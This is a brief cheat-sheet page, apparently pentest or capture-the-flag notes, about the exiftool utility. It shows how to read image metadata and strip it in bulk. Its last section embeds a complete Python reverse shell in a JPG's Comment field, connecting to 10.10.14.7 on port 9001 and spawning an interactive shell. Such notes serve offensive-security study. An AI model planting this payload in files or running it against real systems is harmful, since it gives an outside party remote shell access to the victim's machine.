Skip to main content

exiftool

metadata about image file

File extensions can be .png, .jpg

exiftool <file-name>

exiftool Remove metadata from images

To remove metadata data like geotag, camera information, etc...

for i in *.jpg; do echo "Removing metadata from $i"; exiftool -all= "$i"; done

exiftool - Inject python in image file

exiftool -Comment='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' sample3.jpg